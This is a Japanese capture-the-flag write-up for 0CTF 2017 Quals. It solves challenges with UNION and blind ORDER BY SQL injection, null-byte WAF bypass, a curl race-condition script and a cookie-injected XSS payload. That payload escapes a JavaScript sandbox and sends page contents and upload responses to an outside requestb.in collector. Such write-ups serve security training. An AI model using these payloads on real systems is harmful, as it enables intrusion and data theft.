チーム Harekaze で 0CTF 2017 Quals に参加しました。最終的にチームで 490 点を獲得し、順位は 84 位 (得点 908 チーム中) でした。うち、私は 5 問を解いて 490 点を入れました。
以下、解いた問題の write-up です。
IRC のチャンネルに入るとフラグが表示されました。
flag{Welcome_to_0CTF_2017}
与えられた URL を開いてソースを見ると、Emscripten で C++ から変換されたらしい functionn.js
が読み込まれています。そのあと、?id=1
のように id パラメータがあれば Module.main(id)
を呼び、その返り値を |
で split した長さが 3 であれば API を叩いてその結果を表示するようです。
/?id=1
にアクセスしてみると /api.php?id=1&hash=30f151700cb7131d3a7bef6f8a1dd4f3&time=1489973568
を取りに行ってその内容を表示していました。試しに /api.php?id=2&hash=30f151700cb7131d3a7bef6f8a1dd4f3&time=1489973568
に書き換えてアクセスしてみると、hey boy
と表示されました。
Module.main('1')
を実行してみると 7ececbf0b14af2bd6dae1bc74f1286c2|1489974822|yo
が返ってきました。Module.main('a')
を実行してみると WrongBoy
が返ってきました。いろいろ試してみましたが、すべての文字が数字でないとハッシュ値を返してくれないようです。
タイムスタンプを返しているということは、どこかで Date.now
を呼んでいるはずです。Date.now = () => { debugger; return 0; };
でブレークポイントを仕掛けて Module.main('1')
を実行してみると
Module.main
-> dynCall_iii_1
-> dynCall_iii
-> __ZN10emscripten8internal7InvokerINSt3__112basic_stringIcNS2_11char_traitsIcEENS2_9allocatorIcEEEEJS8_EE6invokeEPFS8_S8_EPNS0_11BindingTypeIS8_EUt_E
-> __Z10user_inputNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE
-> _time
-> Date.now
というように Date.now
が呼ばれていることが分かりました。
__Z10user_inputNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE
を見てみると、
$31 = (($32) + ($i$0)|0);
$33 = HEAP8[$31>>0]|0;
$34 = ($33<<24>>24)>(47);
if (!($34)) {
label = 12;
break;
}
$42 = ($41<<24>>24)<(58);
$43 = (($i$0) + 1)|0;
if ($42) {
$i$0 = $43;
} else {
label = 12;
break;
}
と、文字が数字でなければそこで処理を中断するという部分があります。$34
$42
が true になるように書き換えて Module.main('a')
を実行すると…結果は WrongBoy
でした。
適当にブレークポイントを仕掛けながら Module.main('a')
を実行してみると、どうやら
$12 = (__Z4uiiiRKNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE($inStr)|0);
$13 = ($12|0)==(199401);
if (!($13)) {
// …
STACKTOP = sp;return;
}
という部分で return しているとわかりました。__Z4uiiiRKNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE
を見てみるとこちらも文字が数字であるかチェックしているようでした。
常に $13
が 199401
になるように書き換えて Module.main('a')
を実行してみると、0287057671f9df51356a6064cf29bc3a|0|yo
が返ってきました。/api.php?id=a&hash=0287057671f9df51356a6064cf29bc3a&time=0
にアクセスしても hey boy
は表示されません。やった!
あとは SQLi をするだけです。100 union select 1, group_concat(table_name, ":" , column_name) from information_schema.columns where table_schema=database()
で fl4g:hey,user:id,user:name
が返ってきました。
100 union select 1, hey from fl4g
でフラグが表示されました。
flag{emScripten_is_Cut3_right?}
与えられた URL を開いてみると、シンプルなブログが出てきました。
?id=1 order by 3
が通り、明らかに SQLi ができます。が、id にselect
from
where
のような文字列が含まれていると Your request is blocked by waf.
という感じで弾かれてしまいます。
?id=100 union selec%00t 1, 2, 3
という感じで null 文字を挟んでみると WAF の回避ができ、タイトルに 2、本文に 3 が表示されました。
?id=100 union selec%00t 1, 2, group_concat(table_name, ":" , column_name) fro%00m information_schema.columns wher%00e table_schema=database()
で flag:flag,news:id,news:title,news:content
が返ってきました。
あとは ?id=100 union selec%00t 1, 2, flag fro%00m flag
でフラグが表示されました。
flag{W4f_bY_paSS_f0R_CI}
与えられた URL にアクセスすると、いろいろなものの売買ができるショッピングサイトが動いていました。
!HINT!
を購入すればいいようですが、価格は 8000 で所持金は 4000 しかないので買えません。
#!/bin/bash
username="..."
password="..."
cookie1="PHPSESSID=sgilto2ldg2mma0anobeqdnkg1"
cookie2="PHPSESSID=sgilto2ldg2mma0anobeqdnkg2"
url="http://202.120.7.197/app.php"
curl "$url?action=login" -b $cookie1 -d "username=$username&pwd=$password" &\
curl "$url?action=login" -b $cookie2 -d "username=$username&pwd=$password"
curl "$url?action=buy&id=1" -b $cookie1
curl "$url?action=sale&id=1" -b $cookie1 &\
curl "$url?action=sale&id=1" -b $cookie2
を実行してみると価格が 4000 の Frostmourn を二重に売ることができました。これで所持金が 8000 になり !HINT!
を購入できました。
infos を開くと購入したものの情報を見ることができ、
OK! Now I will give some hint: you can get flag by use
select flag from ce63e444b0d049e9c899c9a0336b3c59
とありました。
/app.php?action=search&keyword=_&order=price
にアクセスしてみると、購入したものの価格などの情報を価格順で表示できました。試しに order=1
に変えてみるとエラーなしに情報が表示されました。order by 句で SQLi ができそうです。
order=cot(0)
だとエラーが発生し、order=cot(1)
だとエラーは発生しませんでした。これを利用して order=cot(if((条件),1,0))
のようにすると、条件が成立したときにはエラーが発生せず、そうでない場合にはエラーが発生するというようにできます。
あとは
import requests
import sys
def check(s):
if 'WAF' in s:
raise Exception('WAF~><')
if 'login plz' in s:
raise Exception('login plz~><')
return 'suc' in s
url = 'http://202.120.7.197/app.php?action=search&keyword=_&order=cot(if((%s)regexp(0x%s),1,0))'
print url % (sys.argv[1], sys.argv[2].encode('hex'))
print check(requests.get(url % (sys.argv[1], sys.argv[2].encode('hex')), cookies={
'PHPSESSID': 'xxx'
}).content)
このようなスクリプトを書いて python2 s.py "select(substr(flag,4,1))from(ce63e444b0d049e9c899c9a0336b3c59)" "[a-z]"
という感じでフラグ 1 文字ずつ特定できました。
flag{r4ce_c0nditi0n_i5_excited}
与えられた URL (government.vip
) にアクセスすると、フラグは http://admin.government.vip:8000 にあるということでした。また、XSS の payload を投げるとそのまま踏んでくれるようでした。
admin.government.vip:8000
にアクセスしてみると、ログイン画面が表示されました。デフォルトのユーザ名 test
とパスワード test
でログインしてみると、Hello test
Only admin can upload a shell
が表示されました。
Cookie には session と username があり、username を hoge
に変えてみると Hello hoge
と表示されました。もしかしてこれで XSS ができるのではと username を <s>hoge</s>
に変えてみると、Hello ~hoge~
という感じで斜線の入った hoge が表示されました。
<script>
document.cookie = 'session=(session id); domain=.government.vip; path=/';
document.cookie = 'username=(payload); domain=.government.vip; path=/';
</script>
という感じの payload を投げると admin.government.vip:8000 で XSS を踏ませることができそうです。
ソースを見てみると
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
というように使えそうなものが消されてしまっています。が、Image
は document.createElement('img')
で代替でき、XMLHttpRequest
も iframe
を使って
var frame = document.createElement('iframe');
document.body.appendChild(frame);
window.XMLHttpRequest = frame.contentWindow.XMLHttpRequest;
で元通りにできます。
これらを利用して
<script>
var payload = "document.createElement('img').src = 'http://requestb.in/xxxxxx?' + encodeURIComponent(document.body.innerHTML);";
document.cookie = "username=<img src=x onerror=\"''.constructor.constructor(atob('" + btoa(payload) + "'))()\">; domain=.government.vip; path=/";
document.cookie = "session=(session id); domain=.government.vip; path=/";
location.href = 'http://admin.government.vip:8000';
</script>
を payload として投げてみると
<h1>Hello ...</h1>
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload"></p>
</form>
と返ってきました。
FormData と XMLHttpRequest で適当にファイルをアップロードさせて、返ってきたレスポンスを手に入れましょう。
solve.py
に
import hashlib
import re
import requests
import uuid
cookies = {
'PHPSESSID': str(uuid.uuid4())
}
task = requests.get('http://government.vip/', cookies=cookies)
task = re.findall(r"'(.+)'", task.content)[0]
print '[!]', 'task:', task
payload = open('payload.html').read() % (
'http://requestb.in/xxxxxx',
r"new Blob(['hoge'], {type: 'text/plain'})",
'hoge',
'(session id)'
)
i = 0
while True:
s = str(i)
if hashlib.md5(s).hexdigest().startswith(task):
print '[!]', 'found:', s
print requests.post('http://government.vip/run.php', cookies=cookies, data={
'task': s,
'payload': payload
}).content
break
i += 1
payload.html
に
<script>
var payload = "\
try {\
function f(x) {\
document.createElement('img').src = '%s?' + encodeURIComponent(x);\
}\
var data = new FormData();\
var blob = %s;\
data.append('file', blob, '%s');\
var frame = document.createElement('iframe');\
document.body.appendChild(frame);\
window.XMLHttpRequest = frame.contentWindow.XMLHttpRequest;\
var js = document.createElement('script');\
js.onload = function () {\
$.ajax({\
url: '/upload',\
data: data,\
contentType: false,\
processData: false,\
type: 'POST',\
success: function (data) {\
f(data);\
},\
error: function (data) {\
f('error:' + JSON.stringify(data));\
}\
});\
};\
js.src = '//code.jquery.com/jquery-3.2.0.js';\
document.body.appendChild(js);\
} catch (e) {\
f('error:' + e.message);\
}\
";
document.cookie = "username=<img src=x onerror=\"''.constructor.constructor(atob('" + btoa(payload) + "'))()\">; domain=.government.vip; path=/";
document.cookie = "session=%s; domain=.government.vip; path=/";
location.href = 'http://admin.government.vip:8000';
</script>
で solve.py
を実行するとフラグが手に入れられました。
flag{xss_is_fun_2333333}